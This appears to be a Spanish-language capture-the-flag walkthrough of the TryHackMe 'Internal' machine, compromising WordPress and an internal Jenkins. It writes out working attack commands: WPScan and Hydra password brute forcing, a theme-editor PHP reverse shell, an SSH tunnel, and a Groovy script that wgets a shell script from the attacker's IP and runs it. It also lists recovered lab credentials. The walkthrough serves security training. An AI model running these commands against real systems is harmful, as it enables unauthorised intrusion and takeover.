TryHackMe Hard Linux WordPress WPScan Jenkins SSH Tunneling

Internal

WordPress con WPScan brute force; reverse shell via editor de temas; Jenkins interno via SSH tunnel para escalada root.

cat4clysm
Herramientas utilizadas
nmap wfuzz wpscan hydra netcat

Scanning

root@kali:~$
nmap -sC -sV -p 22,80 -n -Pn 10.10.144.21 -oN targeted
nmap scan

WordPress - WPScan + Brute Force

root@kali:~$
wfuzz -c --hc 404,403 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://internal.thm/FUZZ
wfuzz
root@kali:~$
wpscan --url http://internal.thm/blog -e u
wpscan users
root@kali:~$
wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt
wpscan brute
admin:my2boys

Reverse Shell via Theme Editor

Vamos a Appearance > Theme Editor > footer.php y agregamos reverse shell PHP.

full tty

Enumeracion y Credenciales

aubreanna creds
aubreanna:bubb13guM!@#123
jenkins.txt

Jenkins - Port Forwarding + Brute Force

root@kali:~$
sudo ssh -L 8080:localhost:8080 [email protected]
root@kali:~$
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 64 -s 8080 -V localhost http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
jenkins creds

Ejecutamos script Groovy en Jenkins para reverse shell:

println "wget http://10.13.13.243/shell.sh -O /tmp/shell.sh".execute().text
println "bash /tmp/shell.sh".execute().text
jenkins shell root creds

Lecciones aprendidas